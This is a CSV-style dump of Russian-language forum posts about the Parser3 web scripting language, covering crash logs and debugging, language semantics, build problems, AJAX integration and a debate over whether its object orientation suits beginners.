mmap2(0x152000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x21) = 0x152000\
mmap2(0x153000, 63292, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x153000\
close(4)                                = 0\
open(\"/lib/libcrypt.so.1\", O_RDONLY)    = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0p\\6\\0\\0004\\0\\0\\0\"..., 512) = 512\
fstat64(4, {st_mode=S_IFREG|0755, st_size=25992, ...}) = 0\
mmap2(NULL, 184636, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0x163000\
mmap2(0x168000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x4) = 0x168000\
mmap2(0x16a000, 155964, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x16a000\
close(4)                                = 0\
open(\"/lib/libm.so.6\", O_RDONLY)        = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0\\0204\\0\\0004\\0\\0\\0\"..., 512) = 512\
fstat64(4, {st_mode=S_IFREG|0755, st_size=206380, ...}) = 0\
mmap2(NULL, 155760, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0x191000\
mmap2(0x1b6000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x24) = 0x1b6000\
close(4)                                = 0\
open(\"/lib/libgcc_s.so.1\", O_RDONLY)    = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0`\\26\\0\\0004\\0\\0\\0\"..., 512) = 512\
fstat64(4, {st_mode=S_IFREG|0755, st_size=45064, ...}) = 0\
mmap2(NULL, 48100, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0x1b8000\
mmap2(0x1c3000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0xa) = 0x1c3000\
close(4)                                = 0\
open(\"/lib/libc.so.6\", O_RDONLY)        = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0000_\\1\\0004\\0\\0\\0\"..., 512) = 512\
fstat64(4, {st_mode=S_IFREG|0755, st_size=1586492, ...}) = 0\
mmap2(NULL, 1308068, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0x1c4000\
mmap2(0x2fe000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x13a) = 0x2fe000\
mmap2(0x301000, 9636, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x301000\
close(4)                                = 0\
open(\"/lib/libpthread.so.0\", O_RDONLY)  = 4\
read(4, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0\\360G\\0\\0004\\0\\0\\0\"..., 512) = 512\
fstat64(4, {st_mode=S_IFREG|0755, st_size=123628, ...}) = 0\
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f49000\
mmap2(NULL, 90592, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0x304000\
mmap2(0x317000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x12) = 0x317000\
mmap2(0x319000, 4576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x319000\
close(4)                                = 0\
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f48000\
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7f486d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0\
mprotect(0x317000, 4096, PROT_READ)     = 0\
mprotect(0x2fe000, 8192, PROT_READ)     = 0\
mprotect(0x1b6000, 4096, PROT_READ)     = 0\
mprotect(0x168000, 4096, PROT_READ)     = 0\
mprotect(0x12e000, 4096, PROT_READ)     = 0\
mprotect(0x129000, 4096, PROT_READ)     = 0\
munmap(0xb7f4b000, 35422)               = 0\
set_tid_address(0xb7f48718)             = 14205\
set_robust_list(0xb7f48720, 0xc)        = 0\
rt_sigaction(SIGRTMIN, {0x3083d0, [], SA_SIGINFO}, NULL, 8) = 0\
rt_sigaction(SIGRT_1, {0x3082e0, [], SA_RESTART|SA_SIGINFO}, NULL, 8) = 0\
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0\
getrlimit(RLIMIT_STACK, {rlim_cur=10240*1024, rlim_max=RLIM_INFINITY}) = 0\
uname({sys=\"Linux\", node=\"ras.hbr.ru\", ...}) = 0\
futex(0x8178760, FUTEX_WAKE, 2147483647) = 0\
--- SIGSEGV (Segmentation fault) @ 0 (0) ---\
+++ killed by SIGSEGV +++\
[root@ras office.hbr.ru]#"
"61996","На досуге возник вопрос:\
а не стоит ли сделать так, чтобы при обращении к несуществующим полям объекта извне возникала ошибка 'field not found'?\
\
Мое мнение:\
 - она сама по себе логична;\
 - позволяет присечь опечатки в коде (незнаю как у вас, а у меня иногда проблема насущная);\
 - позволяет добавить ряд дополнительных возможностей.\
\
Интересует мнение пользователей и создателей языка."
"61997","а статической сборки у меня и нет\
\
[root@ras cgi]# gdb ./parser3\
GNU gdb Red Hat Linux (6.5-15.fc6rh)\
\
(gdb) r\
Starting program: /tmp/parser3/src/targets/cgi/parser3\
[Thread debugging using libthread_db enabled]\
[New Thread -1208826160 (LWP 27467)]\
\
Program received signal SIGSEGV, Segmentation fault.\
[Switching to Thread -1208826160 (LWP 27467)]\
0x001492ab in GC_malloc () from /usr/lib/libgc.so.1\
(gdb) bt\
#0  0x001492ab in GC_malloc () from /usr/lib/libgc.so.1\
#1  0x080a2294 in __static_initialization_and_destruction_0 (__initialize_p=<value optimized out>, __priority=2)\
    at ../../src/include/pa_memory.h:29\
#2  0x0812781b in __do_global_ctors_aux ()\
#3  0x0804aa49 in _init ()\
#4  0x08127789 in __libc_csu_init ()\
#5  0x001d9d91 in __libc_start_main () from /lib/libc.so.6\
#6  0x0804b891 in _start ()\
(gdb)"
"61998","Извините за глупость - но почему нельзя писать просто ^default[1;2], а нужно ^default[1]{2}?"
"61999","[code]# rand - create large random number using /dev/urandom                                                                                                \
# usage: rand [maxvalue]                                                                                                                             \
#                                                                                                                                                       \
# RandomDevice=/dev/urandom                                                                                                                             \
# MaxRand=18446744073709551616    # 2^64                                                                                                               \
#                                                                                                                                                       \
# [ $# -lt 1 ] && set -- $MaxRand                                                                                                                       \
#                                                                                                                                                       \
# # Read 8 (binary) bytes, convert them to 8 upper-case hex                                                                                             \
# # numbers using \"od\", remove whitespace:                                                                                                              \
#                                                                                                                                                       \
# hex=`dd if=/dev/urandom bs=1 count=8 2>/dev/null |                                                                                                    \
> od -tx1 | head -1 | cut -d' ' -f2- |                                                                                                                  \
> tr -d ' ' | tr '[a-f]' '[A-F]'`                                                                                                                       \
echo \"$dec % $1 + 1\" | bc  \
#                                                                                                                                                       \
# # convert from hexadecimal to decimal:                                                                                                                \
# dec=`echo \"ibase=16; $hex\" | bc`                                                                                                                      \
-bash: bc: command not found\
# #echo >&2 \"DEBUG: hex=<$hex>; dec=<$dec>\"                                                                             #                                                                                                                                                       \
# echo \"$dec % $1 + 1\" | bc  \
-bash: bc: command not found[/code]"
"62000","... А заодно проверьте пути к стандартным unix-скриптам."
"62001","Ситуация ровным счетом такая же [url=\"http://www.parser.ru/forum/?id=45929\"]как здесь[/url]. Вроде обещали пофиксить. Не пофиксили?"
"62003","только не уверен, что сделать это просто.\
сейчас обращение к полям объектов сделаны везде одинаково.\
тем, кто будет это делать надо не забыть про $hash.unknown, $hashfile.unknown, проверка на def подобных полей наверное не должна отваливаться..."
"62005","Можно, пожалуйста, по-подробнее о разнице скобок при вызове метода? И вообще скобок. А то чувствую, что ждут меня грабли и ^too_heavy_method[]."
"62014","Если Вы хотите использовать что-то типа оператора \"|\", то вам надо обратиться к языку Perl. Там весьма допустима запись вроде $myvar = func1() || func2() || func3 || \"Default message\". Причем можно присваивать также и вещи, связанные с классами."
"62016","Сайт на УТФ. При выводе строки суммы метод апперит первую букву. Парсер УТФ апперит криво. Как быть? Не апперить нельзя. Подумалось о добавлении нового метода, который будет апперить путем риплейса первой буквы на такую же в верхнем регистре. По-другому никак?"
"62017","при оперделении хеша таким образом\
[code]\
$hData[\
	$._default[100]\
]\
[/code]\
хеш почему-то считается !def. Почему? Ведь дифолтное значение указано - должно быть как минимум дефайнед и числовое значение 1."
"62018","создал базу, установил файлы, настроил...\
На странице \"Регистрация\" [code]_auth_profile.html[/code]\
выскакивает:\
[quote]При регистрации нового пользователя возникли следующие проблемы: unknown.[/quote]\
Но в базу данные прописываются. И вроде как затем можно войти под новым пользователем.\
Но на странице [code]_auth_info.html[/code] после ввода логина, пароля и нажатия \"войти\" форма логина не изчезает. Информация о сессии выписывается. Группы: Admins. Последний раз подключался пользователь: [quote]пусто[/quote]\
Если заново загрузить страницу [code]_auth_info.html[/code], то формы логина нет! информация о сессии присутствует. Группы: Admins. Инормация о пользователе: [quote]все поля пустые[/quote]. И внизу кнопка \"Завершить работу\".\
В чём может быть проблема? не отдаются [code]$auth.user.name $auth.user.email[/code] и др.?"
"62019","более того, вначале было именно так, но это было объявлено багом и исправлено.\
\
_default не попадает в foreach и не учитывается в _count. можете считать, что такого элемента в хеше нет, а конструкцией $hash._default[что-то] задаётся не спец-элемент, а некая характеристика хеша. \
\
def -- следствие этого (хеш считается не определённым, если у него 0 элементов).\
мне подобной поведение def не нравится (как не нравилось аналогичное с $bool(false) ^if(def $bool){def}{undef!}), и лично я хотел бы, чтобы у слечае явного задания хеша, даже если там 0 элементов, он считался бы def, но увы... обратная совместимость и всё такое."
"62020","...в хеше будет только $._default[], и я запрошу любой ключ из хеша - я же получу значение. Вроде хеш и не деф, но значение возвращает. Непорядок какой-то. Если деф - то он есть. Если не деф - но его и не должно быть. И при foreach я думаю хеш должен вернуть одно значение - дифолтное. Ведь хеш возвращает его по ключу - почему его нет в фориче? Абракадабра."
"62021","не уверен, что replace в случае UTF работает без глюков.\
\
можно первую букву числительных хранить отдельно в двух экземплярах: большую и маленькую. большую доставать только при выводе первого слова если задана соотв. опция при вызове метода."
"62022","если написано, что возникла ошибка регистрации -- надо выяснить что не так.\
\
но для начала можно всё таки убедиться, что все работает с пользователем, добавленным скриптом создания БД. надо лишь указать ему пароль согласно описанию."
"62023","я не знаю как помочь в случае, когда на задаваемые мной вопросы не дают ответы.\
\
могу предложить скачать готовое (возможно присланное пользователями) или попробовать собрать 3.2.1sp2, а не HEAD версию."
"62024","Требуются программисты на фултайм в офис в Москве.\
\
Parser, MySQL, XML/XSL, JavaScript, HTML - надо знать и уметь.\
Мы работаем на *nix, в котором тоже неплохо бы немного разбираться.\
\
Зарплата белая, испытательный (2 месяца) срок.\
Чай, кофе, какао, печеньки и пр. предоставляются.\
\
писать на tmm =^,^= madgroup.ru\
или в icq:776166\
\
З.Ы. Программист может быть и один на большую зарплату, если сможет убедить."
"62025","захожу под admin\
в таблице asession dt_logon обновляется для auser_id=3\
но на странице _auth_info.html не выводится кнопка \"завершить работу\".\
если загрузить страницу заново (не релоад, а в адресной строке загрузить ещё раз _auth_info.html) то кнопка \"завершить работу\" появляется, а информация о пользователи опять пустая."
"62027","Сразу хотим извиниться, если кому-то нижеприведенные размышления покажутся пространными и туманными. Просим прочитать данную статейку полностью, особенно разработчикам Parserа. Надеемся, наши рассуждения окажутся полезными.\
Как говорится во всяких описаниях Parserа, он предназначен для тех людей, которые далеки от программирования, но хотят использовать некоторые технические приемы, недоступные при создании статических сайтов. Помимо того говорится, что Parser прост и ясен в изучении, в том числе намного проще РНР, и его сможет изучить каждый.\
Согласны, цель благородная, и весьма полезная. Задумка превосходная. Для проверки вышесказанных утверждений, была скачана документация к последней версии Parserа. И вот тут то, начав читать документацию, \"простой человек\", которому якобы адресован Parser, впадает в разочарование. Мало того, что Parser оказывается настоящим полноценным языком, да еще и вдобавок объектно-ориентированным!!! А тут уж извините новичку не просто. (Особенно если это будет первый его настоящий язык программирования, не считая HTML). Так что оказывается, что на практике, Parser хоть и замечательный и удобный язык, но ни в коем случае не необычайно прост для \"простого человека\".\
Изучав сайт Parserа, мы наткнулись на ссылку Parser2.0 (старой версии), и ради интереса была скачана эта версия и документация к ней. К нашему удивлению, вторая версия оказалась куда более удачнее третьей (Конечно, с точки зрения простоты, а не фуккциональности. Но мы ведь и хотим сделать Parser как можно более простым и удобным для \"простых людей\"). Для изучения второй версии не надо быть ни программистом, ни разбираться в премудростях ООП (Что очень хорошо для новичков).\
Вывод из всего вышесказанного следующий - если авторы хотят представть Parser вроде конкурента РНР, то для этого подходит треться версия (Но при этом нельзя говорить, что она хоть чем-то проще РНР, она также функциональна, также удобна, но и также сложна для новичков). А если Parser - это все-таки инструмент для \"обычных людей\", новичков - то надо представлять его второй версией.\
Спасибо за внимания, всего доброго!!! Комментарии по данной статье можете оставлять ниже. (с)Философ"
"62031","у каждого нового зарегистрированного пользователя такое значение"
"62033","увы"
"62034","Друзья, не поделится ли кто откопилированнымо парсером (можно без XML но с MySQL) под Debian sarge, kernel 2.4.29?\
Пробовал тот что с разделе \"прислали пользователи\" -не идет (ругается на [quot]symbol __libc_stack_end, version GLIBC_2.1 not defined in file ld-linux.so.2 with link time reference  [/quot].\
Здесь в форуме пробегала как-то ссылка типа http://www.permlug.org/data/trash/parser3_2_1sp2_debian31sarge_cgi_xml.tar.gz - но они не идут, выдают ту же ошибку про GLIBC_2.1..\
\
Хочется на DreamHoste поставить, но собирать как-то боязно...\
\
Может кто-то посоветует в какую сторону копать...\
\
Grazia!"
"62035","[code]# event_type, который автоматически прописывается новым юзерам: пишем логин/логаут/изменение имени\
$new_user_event_type(^params.new_user_event_type.int($EVENT.update_user + $EVENT.logon + $EVENT.logout + $EVENT.change_name))[/code]\
А после логина, это поле что должно содержать, event_type=1 ?\
В таблице aevent_log у меня всегда event_type=1!"
"62036","... в хеше должно быть не одно, а бесконечное количество значений. Что не правильно в принципе. Текущее поведение очень даже правильное, а _default не более, чем простой синтаксис для передачи значения контруктору (дело в том, что при создании хеша вы неявно вызываете конструктор и для передачи параметров приходится \"изобретать\" нестандартный синтаксис)."
"62037","0. попробовать тот что для RedHat\
1. ждать пока кто-нить даст собранный\
2. собрать самостоятельно\
\
мы пытаемся максимально упростить сборку, у нас (в смысле на наших хостингах) парсер с поддержкой xml собирается 1 коммандой (+ ещё 2 комманды для доставания исходников из cvs). \
\
все эти команды делаются с помощью проверенной временем технологии Copy/Paste из доки. (однако это прокатит если у вас НЕ x64)\
\
если есть ssh доступ, то по моему попробовать собрать -- самый быстрый способ.\
\
[quot]\
Здесь в форуме пробегала как-то ссылка...\
[/quot]\
\
из раздела \"прислали пользователи\" ссылка идёт на тот-же самый файл :)"
"62038","Миша, кажется в списке спасенных тобою людей теперь и я! :-)\
Поставил RedHat без XML - и все получилось! Спасибо!\
Пойду посталю MySQL и попробую с базой \"поговорить\"...\
\
Еще раз человеческое тебе Спасибо!"
"62039","А нет в запасе какого глобального ключика, как для локальных переменных?..\
Чтоб включать в случае необходимости и обратную совместимость оставить, на несколько версий."
"62040","... или, что менее радикально, оставить только для строк. Совершенно бессмысленная конструкция для каких-либо других объектов, которая создает много путаницы.\
\
p.s. Кстати, не помешало бы добавить к объектам возможность возвращать значение для вычисления выражений - $GET какой-нибудь."
"62041","с именами файлов много разных проблем,\
мы решили от них спрятаться, всегда называя файлы латиницей.\
\
в порядке развлечения пришлите файл с русскими буквами в названии по почте приятельнице в Израиль, попросите достать файл на рабочий стол и сделать screenshot иконки с подписью.\
\
нам русские имена в именах файлов пока не нужны."
"62043","конкретнее задачу?"
"62044","в Израиле пугают маленьких детей собаками.\
\
у нас \"серый волк\" придёт и заберёт (ууу!),\
а у них \"собака\".\
серого волка видели немногие, а вот при виде обычной собаки многие израильтяне впадают в немыслимый ужас.\
\
вывод: \
поиграть с собаками нужно успеть до того, как ими тебя как следует напугают. \
глядишь, они окажутся добрыми и приятными.\
\
http://picasaweb.google.ru/unter.den.linden.family.petrossian"
"62045","Но если есть сборка под федору с поддержкой postgres - буду весьма признателен."
"62046","cтранно достать релиз командой\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co -r release_3_2_1 parser3\
получается без проблем но он не собирается из-за несовместимости с компилятором\
\
а вот на это\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co -r release_3_2_1sp2 parser3\
\
cvs [checkout aborted]: no such tag `release_3_2_1sp2'\
наверно я его неправильно обзываю.. скажите как правильно?"
"62047","Что именно сложного в процессе изученя Парсера 3 для новичка?\
Почему [b]возможность[/b] использования объектов в языке делает его сложным к изучению?"
"62048","Да, согласны с Вами, что [b]возможность[/b] использования объектов очень неплоха и может помочь начинающему программисту на более простых вещах разобраться в ООП-технологиях.\
Но в случае использования последней версии Parserа пользователь [b]обязан[/b] испоьзовать объекты. А этот факт, как уже было сказано, усложняет первоначальное восприятие языка.\
Хотелось бы сказать, что для тех, кто хоть немного знаком с рограммированием - третья версия - то что нужно. Но все-таки на сайте [url=http://www.parser.ru]Parserа[/url] [b]желательно[/b] сделать оговорочку: что, мол, если Вы совсем не разбираетесь в программировании, то советуем Вам начать изучении с облегченной версии Parserа, а потом уже переходить к новой. \
(c)Философ"
"62049","[quote]Волка бояться - в лес не ходить[/quote]\
Но изучать что-то надо все-таки по порядку, по принципу увеличения сложности. Начинать изучать программирования с ООП-языка - это то же самое, что начинать изучать математику в 5 классе школы с производных, первообразных, дифференциалов и интегралов. Вроде бы полезно, но сложно\
Хотелось бы сказать, что для тех, кто хоть немного знаком с рограммированием - третья версия - то что нужно. Но все-таки на сайте [url=http://www.parser.ru/]Parserа[/url] [b]желательно[/b] сделать оговорочку: что, мол, если Вы совсем не разбираетесь в программировании, то советуем Вам начать изучении с облегченной версии Parserа, а потом уже переходить к новой. \
(c)Философ"
"62050","ООП-рограммирование в любом случае сложнее процедурного.\
Что проще объяснить - что такое функция (или процедура) и что такое ее вызов (Думаем, это очень легко понять)\
Или же сразу олучить шквал информации о классах, их экхемплярах -объектах, о наследованнии, о инкапсуляции, о полиморфизме, о открытых и закрытых методах и свойствах, да и к тому же о кучи разных типов данных...\
(c)Философ"
"62051","Вы бы сами взялись за разработку lite-ветки парсера. Я думаю общественность бы оценила."
"62052","Достаточно небольшой библиотеки функций (на самом Пасере), которые будут \"прокладкой\" между методами базовых объектов (по сути нужны только строки) и функциями. Например, вместо ^str.length[] сделать функцию ^strlen[$str] и т.п. Работу с формами и cookie трогать вобще не нужно.\
\
Кроме того можно нафантазировать некую обвязочку, использующую возможности ^process для упрощения работы новичков.\
\
Другой вопрос нужно ли это кому-нибудь на самом деле. :)"
"62053","Программирование — слегка, не та сфера, куда желательно зазывать табунами новичков.\
Слишком простой язык обрёчён на судьбу букваря.\
Даже в случае с \"навороченным\" Парсером 3, вокруг — отголоски прихода в программирование совершенно неподготовленных людей.\
Посмотрите на форум: простота Парсера оборачивается потоком людей, которые понятия не имеют о программировании, но пишут.\
И чем проще язык, тем сильней подобное усугубляется.\
\
В ООП нет ничего страшного.\
Очень хорошо, что можно начинать с него.\
Если человек не полный идиот — понимание не заставит себя ждать.\
Тем более, что в Парсере 3 ООП реализован без фанатизма.\
\
Как сказал Sumo, ничего не мешает писать как угодно, создавая свой \"язык\", и поначалу так и поступают многие, стараясь упростить себе знакомство с новой вещью (открещиваются от ООП и прочих \"сложностей\").\
Потом приходит понимание и всё устаканивается.\
\
Первые уроки — вещь совершенно примитивная для любого человека, с имеющимся костным мозгом черепа, а ведь уже в них есть страшный ООП.\
\
\
Считаю, что Парсер 3 даже слишком простой, из-за чего планка прохода в комьюнити очень низка и комьюнити это, в среднем, не сильно выше этой планки..."
"62054","\"несовместимость с компилятором\"? \
какая у вас версия компилятора?\
\
вот версии gcc, которыми мы успешно собирали парсер:\
http://www.parser.ru/forum/?id=34856\
\
в HEAD версии были сделаны шаги, чтобы он собирался версиями 4.x, однако сами мы успешность подобных сборок не тестировали (версия 3.2.1 этим компилятором не собирается).\
\
видел, что были проблемы при сборке компилятором 3.4.2 (по ссылке выше).\
\
что можно попробовать ещё при сборке HEAD версии: в ./buildall... внести три правки и попробовать собрать с gc6.6, libxml 2.6.22 и libxslt 1.1.15 (не забудьте удалить каталоги ../gc и ../gnome). именно с этими версиями собиралась последняя release версия парсера. ну и до кучи попробуйте раскомментировать ключик --with-dynamic-stdcpp."
"62056","Есть обычный метод, вызывая который в него передается хеш параметров. При сборке параметров получил ошибку типа хеш не определен.\
[code]\
$hParams[^hash::create[]]\
^hParams.add[$.sKey[$sValue]]\
^myMethod[$hParams]\
[/code]\
так работает исправно.\
\
[code]\
$hParams[^hash::create[]]\
^myMethod[^hParams.add[$.sKey[$sValue]]]\
[/code]\
а так метод говорит что вызов без параметров - типа хеш не определен.\
\
Так и должно быть? В доке по поводу сложения хешей ничего не сказано."
"62057","А вы подразумеваете что [code][^hParams.add[$.sKey[$sValue]][/code] не только добавляет, но еще и возвращает что-то?"
"62058","имхо:\
1. созданием сайтов должны заниматься профи, а не любой прочитавший учебник по парсеру. представьте, если врачами будут становиться те, кто прочитал пару книг по медицине, тут такая же ситуация.\
2. сам синтаксис парсера ужасен\
3. раз сайтами должны заниматься профи, то необходимость парсера отпадает, ибо ASP.NET гораздо лучше. на крайний случай есть php и т.д."
"62059","на ваш вопрос ответил redactor, а я просто не понимаю зачем вам подобный код с add?\
\
что мешает написать:\
[code]\
^myMethod[\
	$.sKey[$sValue]\
]\
[/code]\
\
или, если подразумевается что $hParams бывает не пустой, так:\
[code]\
^myMethod[\
	^hash::create[$hParams]\
	$.sKey[$sValue]\
	$.sKey2[$sValue2]\
]\
[/code]\
?"
"62060","после успешного логина должна быть перезагрузка страницы, с добавлением ?цифр в query, она у вас есть?\
\
у вас точно прокси/броузер не пытается хардкорно кешировать всё?\
\
пробовали в другом броузере?\
\
пробовали поотлаживать добавлением ^throw[;что-то, например =$auth.is_logon=] после создания объекта класса auth?"
"62061","Пытаюсь \"оживить\" пару моделей в CMS-ке с помощью AJAX. Попробовал JsHttpRequest.js + JSHttpRequest.p, однако, Prototype, как библиотека, мне показался более удобным, тем паче для него существует много готовых клиентских решений (Однако все они \"заточены\" под PHP/Ruby).\
\
Туплю по страшному и не могу сообразить как сделать банальные вещи:\
отправить на Parser-ный обработчик данные из формы и получив их обратно загнать в узел (DIV или etc.)\
\
У кого есть пару готовых простых примеров - буду очень благодарен, т.к. уже пару недель туплю (по часу в день), и уже впал в ступор.\
\
Нашел переводы Доки по Prototype [url=\"http://parabola.sotakone.com/2007/01/23/prototype-ajax-tutorial/\"]http://parabola.sotakone.com/2007/01/23/prototype-ajax-tutorial/[/url]\
однако, пока толку мало."
"62063","...что-то он мне не нравится вплане синтаксиса. Остановился на таком\
[code]^hGetParams.add[\
		$.orderBy[id DESC]\
		$.limit($oPages.iLimit)\
		$.offset($oPages.iOffset)\
		$.bCount(0)\
	]\
	$tUsers[^User:get[$hGetParams]][/code]"
"62064","Имеем следующие файлы:\
Тестовый файл[b]/ajax.html[/b]\
[code]\
...\
<script language=\"JavaScript\" src=\"/scripts/com/blog-lib.js\"></script>\
...\
<form onsubmit=\"return false\" id=\"form1\">\
	<textarea cols=\"50\" rows=\"5\" id=\"reply1ta\"></textarea>\
	<input id=\"cpb2\" type=\"button\" onclick=\"зreviewComment(1)\" value=\"Preview\">\
	<input id=\"cpb2\" type=\"button\" onclick=\"PreviewComment2(1)\" value=\"Preview2\">\
</form>\
\
<div id=\"previewa1\" style=\"border:1px solid #000; margin:2px\"></div>\
[/code]\
\
Далее, имеем parser-обработчик [b]/classes/ajax/post.html[/b]:\
[code]\
@USE\
JSHttpRequest.p\
\
@main[]\
$hRequest[^JSHttpRequest:decodeRequest[]]\
\
$hParserVariable[\
   $.result[^untaint{$hRequest.q}]\
]\
\
^JSHttpRequest:printResponse[message;$hParserVariable]\
[/code]\
\
и JS-код [b]/scripts/com/blog-lib.js[/b]:\
[code]\
var postParser = '/classes/ajax/post.html';\
\
// это работает...\
function previewComment(id) {\
	var query = '' + document.getElementById('reply' + id + 'ta').value;\
	var req = new Subsys_JsHttpRequest_Js();\
\
	req.onreadystatechange = function() {\
		if (req.readyState == 4) {\
			if (req.responseJS) {document.getElementById('preview' + id).innerHTML = unescape(req.responseJS.result);}\
		}\
	}\
	req.caching = false;\
	req.open('POST', postParser, true);\
	req.send( { q: query, test: 303 } );\
}\
\
var PreviewCommentID = 0;\
\
// а это не работает....\
function PreviewComment2(id){\
	PreviewCommentID = id;\
	\
	new Ajax.Updater('previewa1',\
		'/classes/ajax/post.html',\
		{asynchronous: true, \
		parameters: Form.serialize($('form' + id))}); \
}\
[/code]\
\
в упор не вижу что делать..."
"62065","Я накачал кучу документаций по различным Framework-м, однако сдвинуться с места пока не могу.\
\
Если у вас есть пример для jQuery - поделитесь."
"62066","Просмотрел ранее написанные посты по этой тематике, но к сожалению задачу решить не удалось. Если кто-то недавно решал подобные задачи, прошу поделиться опытом.\
\
Ошибка возникала при вызове скрипта images.pl из парсера. Природу этой ошибки понять не удалось (пока)."
"62067","только .add медленнее, чем добавление ключа с помощью $.key[...]\
т.е. add сначала создаёт хеш с параметрами, указанными у него внутри и потом производит суммирование хешей.\
если что-то добавляется к хешу с помощью $.key[value], то дополнительного создания хеша, который сразу после добавления к существующему становится не нужен не происходит.\
\
это конечно не ваш случай, т.к. добавляется несколько ключей, тем не менее имейте в виду. добавлять одно значение к хешу с помощью .add не стОит.\
\
при этом упомянутый мной синтаксис тоже имеет конструктор хеша (^hash::create[...]), однако его назначение несколько иное: я его использую чтобы защитить от изменения исходный хеш + добавить некоторые параметры.\
\
P.S. у $oPage есть .limit и .offset, оставленные мной для того, чтобы $oPage можно было прямо передавать в запросы."
"62068","тем не менее всегда используется внешние программы для манипуляции с изображениями (NConvert, ImageMagic)."
"62069","пользовался сперва Юджиновыми библами через Перл. Но из-за сложностей с хостингами с поддержкой ИМ перешел на новые классы от Den Kulikoff-а и использую НКонверт. Все работает без проблем. Доволен."
"62070","[quote]create\
\
Entity: line 5: parser error : Extra content at the end of the document\
	<item>46</item>\
	^\
\
/.../public_html/ndt/../../data/classes/info.p(157:14)\
tData	/home/nvdc/public_html/ndt/../../data/classes/info.p(157:2)\
loadXMLByLabel	/home/nvdc/public_html/ndt/rus/articles/xml/load.html(4:15)\
body	/home/nvdc/public_html/ndt/../../data/classes/sql.p(91:28)\
connect	/home/nvdc/public_html/ndt/../../data/classes/sql.p(91:2)\
server	/home/nvdc/public_html/ndt/rus/articles/xml/load.html(2:12)[/quote]\
\
[code]@loadXMLByLabel[sLabel][tDada;_tmp]\
$tData[^loadByLabel[$sLabel]]\
$_tmp[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
^tData.menu{\
	<item>$tData.id</item>\
}}]\
#end @loadXMLByLabel[][/code]\
\
Что не так? Хочу выдать через страницу XML объекта и передать на другой сайт."
"62071","1. водить машину, самолёт, готовить еду, растить детей, лечить людей и т.д. безусловно тоже должны профессионалы и только они. личные автомобили/самолёты отменить. плиты/печки запретить. в аптеке аспирин не продавать. и т.д.\
только... вы в школе/институте учились? и сколько в вашей группе/классе обучилось \"профессионалов\"? (именно поэтому, кстати я не доверяю своё здоровье \"профессионалам\"-врачам).\
а вы задумывались откуда берутся настоящие профессионалы? на детей смотрели, как они играя в кубики учаться? или как бегают на четвереньках? зачем они делают это, шли бы уж сразу, или изучали клавиатуру нафих.\
изучить что либо, пусть не пользующееся большой популярностью, бывает совсем не бесполезно. главное уметь искать полезное, которое кстати в парсере есть (единый sql синтаксис, тайнтинг)\
\
2. синтаксис любого языка программирования ужасен. я ненавижу изучать новые синтаксические конструкции, которые оказываются абсолютно ненужными через год-два-пять. поэтому корректнее говорить не \"ужасен\", а \"непривычен\", т.к. тот-же php C-подобный. однако для \"непрофессионалов\" разницы нет никакой.\
\
3. все Васи Пупкины отныне идут становиться в очередь к \"профессионалам\", платят им деньги, чтобы на домашней страничке Васи эти \"профессионалы\" сделали так, чтобы текущий год не надо было править руками, а он всегда подставлялся автоматически.\
\
\
P.S. \"И если червь вызывает в вас такое отвращение, что вы спешите отойти от него прочь... то, следовательно, он имеет законное право на существование.\" Ницше.\
\
P.P.S. очень хочу удалить весь этот тред, восстановленный ПАФ-ом. в нём никто никому ничего не докажет. проходили это уже не раз."
"62072","можно начать с http://docs.jquery.com/How_jQuery_Works\
http://docs.jquery.com/Tutorials\
http://15daysofjquery.com/\
ttp://www.learningjquery.com\
\
И есть целая книжка http://www.packtpub.com/jQuery/book/mid/100407j4kh3d\
\
где черным по белому написано а подробностях. Где её искать вы наверное сами поймете.... :-)"
"62073","К нам в гости приходит новый фтп-вирус. \
